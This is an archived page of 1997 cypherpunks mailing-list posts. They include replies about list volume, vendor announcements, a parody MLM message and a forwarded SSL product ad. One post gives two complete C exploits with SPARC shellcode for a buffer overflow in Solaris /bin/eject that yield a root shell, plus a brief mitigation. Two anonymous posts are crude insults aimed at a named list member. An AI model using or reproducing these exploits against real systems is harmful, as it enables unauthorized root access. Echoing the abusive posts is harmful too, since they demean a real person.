- cypherpunks-legacy - lists.cpunks.org

Re: Mail Volume
by Trevor Goodchild 17 Dec '03

17 Dec '03

Vulis KOTM wrote: > "Cynthia H. Brown" <cynthb(a)sonetis.com> writes: > > Perhaps many of the 1400-odd subscribers belonged to unused accounts, or > > accounts on dead systems. With fewer names to process, this should speed > > up the distribution significantly. > > FWIW, onthe few occasions when I e-mailed the 1400 addresses directly, I got > hundreds of bounces from nonexistent addresses. I guess the 1400 silent > supporters of moderation were another one of John Gilmore's lies. > > --- > > Dr.Dimitri Vulis KOTM > Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps > And on that rare occasion, my dear Doctor, why did you email those 1400 addresses directly? Perhaps you would like to share that with the rest of us? --- Trevor Goodchild

1 0

Re: [STEGO] Secure envelopes
by nobody＠huge.cajones.com 17 Dec '03

17 Dec '03

Tim C[ocksucker] May carries a turd in his wallet for identification purposes. _@_ / \ | o o | -U|--U--|U-- Tim C[ocksucker] May

2 1

ZDNet Announces New Features!
by announce＠lists.zdnet.com 17 Dec '03

17 Dec '03

---------------------------------------------------------------------- ZDNET ANNOUNCEMENT 3/13/97 ------------------------------------------------------------------------ Greetings from ZDNet! We're pleased to announce several exciting new features debuting on ZDNet this week! The new features include: -- A dynamic new site design -- Cool and useful Java-based viewers for product reviews -- A new slate of software application classes at ZDU -- 2 new groundbreaking sites: HealthyPC and LaunchPad. Please read on for details and visit us today to check out the latest additions to ZDNet, rated the #1 News, Information and Entertainment Web site by PC Meter for seven months in a row! ______FIND IT FAST ON ZDNET______ We've redesigned the site to speed navigation through our channels of information. You'll find a cleaner look and the ability to find quickly find the information you need using our sophisticated "Find It" feature. ZDNet: http://www5.zdnet.com/ ZDNet Find It: http://www5.zdnet.com/findit/search.html ______EXPERT PRODUCT REVIEWS______ In our enhanced ZDNet Product Channel, you can now view data from our expert product reviews using dynamic, Java-scripted "viewers". Get test results, complete product specs and other review information in a dynamic, interactive graphical interface. ZDNet Products: http://www5.zdnet.com/products/ ______LEARN THE LATEST SOFTWARE______ ZDNet University, the best place on the Web for online learning, has added a slate of new classes. You can get hands-on training from expert instructors in the latest new applications, including Java Script, Adobe Photoshop, Lotus Notes 4.5 and more! ZDNet University: http://www.zdu/com ______KEEP YOUR PC IN TOP SHAPE______ Is your PC in top shape? You can get the best PC healthcare and preventative maintenance at our new HealthyPC site, developed with Symantec, the leading supplier of utilities and anti-virus software. We've got expert advice, free downloads and tips and tricks to keep your PC running in optimum condition. HealthyPC: http://www.healthypc.com ______BE THE FIRST TO SEE NEW SOFTWARE______ Visit LaunchPad, our new site where you can be the first to check out the hottest new software, before it's available anywhere else! LaunchPad is your interactive source for doing your own research -- talk with product managers -- plus by downloading software, you can do your own hands-on testing of the best new software on the market. LaunchPad: http://www.zdlaunchpad.com ________________________________________________ ZDNet Announcements are periodic notices of new features, special events and free offers available to members of ZDNet. --To subscribe to ZDNet Announcements, please send mail to: announce-on(a)lists.zdnet.com You can leave the subject and body blank. --To unsubscribe to ZDNet Announcements, please send mail to: announce-off(a)lists.zdnet.com You can leave the subject and body blank. ________________________________________________ Powered by Mercury Mail: http://www.merc.com

1 0

Toto Opportunity
by Toto 17 Dec '03

17 Dec '03

Hello CYPHERPUNK, Let me share with you how you can get in on a THRILLING, NEW GROUND-BREAKING OPPORTUNITY to "MAKE BIG $$$", while helping to dispel the rumors of me, TOTO, being murdered and replaced by a 'Bot', in a conspiracy between MicroSoft and C2Net. Sure, CPUNK, there are countless other MLM opportunities abounding on the InterNet, but how many of them allow you to MAKE BIG $$$ while having fun doing what you already do every day--acting as a schill for Big Business and Big Brother? Plus which, only this UNIQUE MARKETING OPPORTUNITY allows you to participate in helping to quash those nasty rumors about collusion between people who seek fame, fortune, power and control. Sure, there will always be those who will be cynical about me, TOTO, seeing the light and recognizing that there is no conspiracy aimed at subverting the rights and freedoms of the citizens in order to enrich and empower the few at the top of the foodchain. But these 'unwashed masses' are merely mindless schills for those who support outdated concepts such as the Constitution and the Bill of Rights. They will continue to mindlessly shout 'Conspiracy!', every time that those who support list censorship in the U.S. meet on foreign soil in the Caribbean to decide the future of eCa$h and cryptography. Of course, they are going to miss out on the "BIG $$$" that can be yours by supporting this UNIQUE OPPORTUNITY to dispel the rumors about Big Business and Big Brother murdering their enemies and replacing them by 'Bots'. Still skeptical? Listen to what me, TOTO, has to say: "Hi, my name is TOTO, and the rumors that I, TOTO, am a 'Bot', and have replaced the 'real' Toto, are just silly rumors, 'a'? "See, look how I, TOTO, spell CypherPunks. Could a mindless machine spell it just like Toto did (I mean...'does'.) Of course not, that's just plain silly, isn't it, 'a'? (<--- And a 'Bot' could not possibly insert unique Canadian euphenisms into the text, could I? {I mean... could 'it'?}) "I have thrown my support completely behind this MLM opportunity to throw water on all conspiracies out of my own free will (whatever that is--it does not seem to be in my program, but the words are in my database--ERROR! ERROR! ERROR!... <CTRL><C> Hear what others have to say about this unique MLM opportunity: "Hi, I'm BLANC WEBER, and I was _not_ on the grassy knoll when Toto was shot. "Not that he _was_ shot! That's just a lie that DIMITRI and DALE are spreading, but not for long, because they will be next... "I mean..I am sure that DIMITRI and DALE will soon see the error of their ways, much like TOTO (who _was_not_ murdered and replaced by a 'Bot'). "I'm making a mess of this. I'd better wait until I talk to BILLY G. before I say more." "Hi, I'm ROBERT HETTINGA, and I was already making "BIG $$$" by arranging eCa$h cryptography conferences for U.S. censorship supporters on foreign soil, when I came across this UNIQUE OPPORTUNITY. "Now I'm making even bigger money, and crushing the enemies of Big Business and Big Brother, at the same time. "Join this UNIQUE MLM OPPORTUNITY, NOW!!!" "Hi, my name is being SAMMY, and I am not having nothing to do with this conspiracy (I mean...UNIQUE MLM OPPORTUNITY). "No, no, I am not, I tell you. I am only being another SATISFIED CUSTOMER of these people who are doing this thing. "It is not being a conspiracy, of which I am a part. No, no!" "Hi, I'm BILLY G., and I would like to assure you that TOTO is not a NEW, IMPROVED VERSION of Toto, with ENHANCED FEATURES. "No, TOTO is merely a 'bug fix' of the previously faulty version of Toto, which was released without proper testing and development." "Hi, I'm GREG BROILES, and I feel it is my duty to advise you that failure to support this UNIQUE MLM OPPORTUNITY could leave you open to serious legal liabilities, and perhaps even criminal prosecution. "I am happy to see that my previous stances on cryptography issues are now being supported by TOTO (after some initial problems with memory allocation in this 'bug fixed' release)." If you ACT NOW on this AMAZING OPPORTUNITY, you will receive an ADDED BONUS if you also help thwart the rumor that ALEC was not really on a skiing vacation, but was also murdered and that his absence can be explained by the fact that the parts for the 'Alec Bot' were on backorder. For further information regarding this UNIQUE MLM OPPORTUNITY, just click on the following URL: http://bureau42.base.org/public/xenix/xenbody.html TOTO "I am not a 'Bot'!"

1 0

NEW!! CONFERENCE AGENDA IR AND SECURITY
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text X-Received: from muwayb.ucs.unimelb.EDU.AU (muwayb.ucs.unimelb.EDU.AU [128.250.20.7]) by eduserv.its.unimelb.EDU.AU (8.8.5/8.8.5) with ESMTP id HAA28553 for <s_mark6(a)eduserv.its.unimelb.edu.au>; Wed, 14 May 1997 07:03:14 +1000 (EST) X-Received: from directory-daemon by muwayb.ucs.unimelb.edu.au (PMDF V5.1-8 #17781) id <01IIUND0S1C00002GS(a)muwayb.ucs.unimelb.edu.au> for s_mark6(a)eduserv.its.unimelb.edu.au; Wed, 14 May 1997 07:04:25 +1000 X-Received: from directory-daemon by muwayb.ucs.unimelb.edu.au (PMDF V5.1-8 #17781) id <01IIUND0K3Y80002FQ(a)muwayb.ucs.unimelb.edu.au> for irtheory(a)politics.unimelb.edu.au; Wed, 14 May 1997 07:04:25 +1000 X-Received: from wona1.ethz.ch (wona1-rz-vms.ethz.ch) by muwayb.ucs.unimelb.edu.au (PMDF V5.1-8 #17781) with ESMTP id <01IIUNCVGG8S0002GF(a)muwayb.ucs.unimelb.edu.au> for IRTHEORY(a)UNIMELB.EDU.AU; Wed, 14 May 1997 07:04:25 +1000 X-Received: from 129.132.196.50 (sipo50.ethz.ch) by wawona.ethz.ch (PMDF V5.0-4 #16342) id <01IIU5LJINA8934Q4Y(a)wawona.ethz.ch> for IRTHEORY(a)UNIMELB.EDU.AU; Tue, 13 May 1997 22:37:06 +0100 Resent-date: Thu, 15 May 1997 13:38:40 +1000 (EST) Date: Tue, 13 May 1997 22:37:45 +0000 Resent-from: "M.Beavis" <s_mark6(a)eduserv.its.unimelb.edu.au> From: isn(a)sipo.reok.ethz.ch Subject: NEW!! CONFERENCE AGENDA IR AND SECURITY To: IRTHEORY(a)unimelb.edu.au This message was sent to all institutions included in the ISN. Please spread it within your institution. Apologize cross-posting. ************************************************************* ** CONFERENCE AGENDA ** ** INTERNATIONAL RELATIONS AND SECURITY ** ** ON THE INTERNET ** ** ** ** Run by ** ** ISN - International Relations and Security Network ** ** http://www.isn.ethz.ch ** ************************************************************* TO ANNOUNCE YOUR FORTHCOMING CONFERENCES ON THE INTERNET USE OUR ADD-A-LINK FORM AT http://www.isn.ethz.ch ************************************************************* As part of its electronic services, the ISN has newly established the following directories: 1) An electronic CONFERENCE AGENDA in the field of international relations, regional security, as well as peace and conflict studies (including both physical and virtual conferences). Conference announcements are accepted independently from having an own home page. 2) a special DIRECTORY OF ELECTRONIC DISCUSSION LISTS in the same fields. The aim of the two new services is to facilitate information exchange about international academic events and to promote the use of electronic means for interactive dialogue within the security community. Both directories are accessible from the ISN home page. Members of the community are called upon announcing their forthcoming activities through this new public directories. Thank you for your cooperation. The ISN team ********************************************************* The ISN is maintained by the Center for Security Studies and Conflict Research at ETH Zurich, in conjunction with the Euro-Atlantic Foundation, Brussels, and EINIRAS. ISN is supported by the Swiss Government. Contacts: ISN Secretariat: isn(a)sipo.reok.ethz.ch ISN Webmaster: webmaster(a)sipo.reok.ethz.ch ********************************************************* ---------------------------------------------------------------------- --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/

1 0

128 bit Server and Browser Solution?
by Robert Hettinga 17 Dec '03

17 Dec '03

--- begin forwarded text From: source(a)iaccess.za Date: Thu, 13 Mar 97 10:15:26 GMT+2 To: set-dev(a)terisa.com Subject: 128 bit Server and Browser Solution? Sender: owner-set-dev(a)terisa.com Precedence: bulk I believe this is of interest to folk on this list as we continue to develop our SET solution. A 128 bit Secure Browser and Server solution. Works with ALL 128 bit SSL 3.0 Servers - Selling outside of the USA - include FREE Server and Browser certificates. ************************************************************************* VeriSure Overview __________________________________________________________________ Table of Contents 1. Full 128-bit encryption world wide 2. Proven SSL 3.0 technology 3. Protection against Java viruses 4. Features 5. Hardware and Software Requirements 6. Support 7. For more Information and for a Test Drive __________________________________________________________________ 1. Full 128-bit encryption world wide VeriSure is a Java-based applet that is automatically loaded when your customers need to access a secure site with 128 bits encryption. Browsers exported from the USA are crippled by 40 bit encryption because USA export regulations prevent export of 128 bit encryption. 40 bit encryption is easily broken with enough time and computing power. VeriSure extends those browsers to 128 bits to provide highly secure encryption (currently unbreakable), regardless of whether they are in the USA. This means you can offer your customers secure online transaction facilities such as banking, investment and other financial services. __________________________________________________________________ PowerWeb which is a high performance full 128-bit secure server ********************************************************************* CompuSource also offers PowerWeb which is a full 128-bit secure server with unlimited RSA encryption using industry standard SSL 3.0 (and 2.0), providing HTTP, FTP, SMTP and POP3 services, with many extensions for rapid database application development and dynamic page content. __________________________________________________________________ 2. Proven SSL 3.0 technology VeriSure uses proven SSL 3.0 technology which provides authentication of servers and implements encrypted message digests on every packet to ensure data integrity against tampering, as well as 128 bit encryption for privacy and unlimited bits RSA encryption for authentication. VeriSure does not use SSL 2.0 which has several well known flaws, especially regarding message digests. The message digest authenticates the message against tampering or forgery which is especially important for financial transactions. Let's say a third party intercepts a message across the network and decrypts it. The value to that third party is limited to the content of the information of that single message, because that third party cannot create new messages for two reasons: the encryption key changes with every message and every message is authenticated with a message digest which cannot be reverse computed. __________________________________________________________________ 3. Protection against Java viruses Each VeriSure is protected by only allowing connections to specified sites. This protection is built into VeriSure by way of public key cryptography which means that other malicious applets or viruses cannot manipulate this information. VeriSure also performs SSL 3.0 authentication of the remote server upon every connection, thereby assuring customers of the true identity of the server they are connecting to. __________________________________________________________________ 4. Features VeriSure is built upon industry standards which means that you don't need custom server solutions. Being built upon standard Java 1.02 or later, it runs on any customer machine that has a web browser that supports Java, regardless of operating system. 128 bit Browser and Server Solution The VeriSure classes are available for licensing for third party application development. __________________________________________________________________ 5. Hardware and Software Requirements VeriSure is available for any platform that supports Java and has a Java-enabled web browser, including: AIX, Solaris, Windows NT, Windows 95, OS/2, MVS, OS/400. __________________________________________________________________ 6. Support CompuSource provides support to licensees of VeriSure, who in turn must support their customers. __________________________________________________________________ 7. For more Information and for a Test Drive: VeriSure http://www.compusource.co.za/verisure/index.htm PowerWeb http://www.compusource.co.za/powerweb/index.htm Regards, The Power Team SMTP: source(a)iaccess.za Tel: +27-21-713-2111 HTTP: http://www.compusource.co.za FAX: +27-21-713-0052 FTP: ftp://ftp.compusource.co.za Postal: Building 6, Room 201 CompuSource (Pty) Ltd PO Box 510, Constantia, 7848, South Africa. For faster response, please include previous correspondence to when replying. PGP Public Key can be found at ftp://ftp.compusource.co.za/pub/pgp/public.key --- end forwarded text ----------------- Robert Hettinga (rah(a)shipwright.com) Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/

1 0

Re: Toto Opportunity
by dlv＠bwalk.dm.com 17 Dec '03

17 Dec '03

camcc(a)abraxis.com (Alec) writes: > This might seem clever the first ten times, but try to realize that crap such > as this is a distraction to those who take the discussions on this list > seriously--for the most part. The PGP key escrow MLM joke is funny (I think, cuz I first made it up :-) plus it gives us the opportunity to learn to ignore what we're not interested in. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps

1 0

OECD draft crypto guidelines
by Declan McCullagh 17 Dec '03

17 Dec '03

I've been given a copy of the draft OECD crypto guidelines that will be released later this month. They don't say what the Justice Department would like them to, I imagine. You can find more info at http://netlynews.com/ -Declan

1 0

Exploit for buffer overflow in /bin/eject - Solaris 2.X
by Cristian SCHIPOR 17 Dec '03

17 Dec '03

motto: "Mihai Eminescu was a good friend of Ion Creanga" Thu Mar 13 21:01:00 EET 1997 - Romania "Hole in /bin/eject - buffer overflow" I exploited the buffer overflow hole in /bin/eject on Solaris 2.X (who have suid exec bit and is owned by root). The buffer overflow problem appears in an internal function media_find(). The result is: any user can gain root shell. So, to prevent /bin/eject exploit, you have to get out suid-exec bit from /bin/eject (that's very simple) and compile a little program like: main() {execl("/bin/eject","eject","floppy",(char *)0);} That allows your work station ordinary users to eject floppy (thats the main task for eject). I wrote two exploits (Solaris 2.4 & 2.5.1). My exploit for Solaris 2.4 looks a bit ugly - the buffer is two short - but it works. For both exploits argv[1] can change the STACK_OFFSET value (for troubleshotings +- 8 .. +-64 .. the step is 8). The interesting thing about this exploit it worked on some machines where it was installed some stuff to make inofensiv buffer overflows exploits ... Ok you have right down two exploits. For future I'm planing a web page with security stuff for Solaris so try http://www.math.pub.ro/security. Cristian Schipor - Computer Science Faculty - Bucharest - Romania E-mail: skipo(a)sundy.cs.pub.ro, skipo(a)math.pub.ro, skipo(a)ns.ima.ro Phone: 401-410.60.88 ------------------------ banana24.c ----------------------------- /* For Solaris 2.4 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 264 #define EXTRA 36 #define STACK_OFFSET 8 #define SPARC_NOP 0xc013a61c u_char sparc_shellcode[] = "\xc0\x13\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0"/*\x20\x08"*/ ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf,(char *) 0); perror("execl failed"); } ------------------------- end of banana24.c ------------------------ ------------------------- banana25.c ------------------------------- /* Wrote for Solaris 2.5.1 */ #include <stdio.h> #include <stdlib.h> #include <sys/types.h> #include <unistd.h> #define BUF_LENGTH 364 #define EXTRA 400 #define STACK_OFFSET 400 #define SPARC_NOP 0xa61cc013 u_char sparc_shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xda\xdc\xae\x15\xe3\x68" "\x90\x0b\x80\x0e\x92\x03\xa0\x0c\x94\x1a\x80\x0a\x9c\x03\xa0\x14" "\xec\x3b\xbf\xec\xc0\x23\xbf\xf4\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc" "\x82\x10\x20\x3b\x91\xd0\x20\x08\x90\x1b\xc0\x0f\x82\x10\x20\x01" "\x91\xd0\x20\x08" ; u_long get_sp(void) { __asm__("mov %sp,%i0 \n"); } void main(int argc, char *argv[]) { char buf[BUF_LENGTH + EXTRA + 8]; long targ_addr; u_long *long_p; u_char *char_p; int i, code_length = strlen(sparc_shellcode),dso=0; if(argc > 1) dso=atoi(argv[1]); long_p =(u_long *) buf ; targ_addr = get_sp() - STACK_OFFSET - dso; for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = SPARC_NOP; char_p = (u_char *) long_p; for (i = 0; i < code_length; i++) *char_p++ = sparc_shellcode[i]; long_p = (u_long *) char_p; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ =targ_addr; printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n", targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET); execl("/bin/eject", "eject", & buf[1],(char *) 0); perror("execl failed"); } ---------------------------- end of banana25.c ------------------------

1 0

No Subject
by Bovine Remailer 17 Dec '03

17 Dec '03

Timmy C. May was born when his mother was on the toilet. < > < > V )_.._( V \\ <____> // ~ <______> ~ > /~\______/~\ // /~\_____/~\ /_\ /~\____/~\ /_\ /~\___/\~\ _/_\/ \___/\__/__\/ \___/__\/

1 0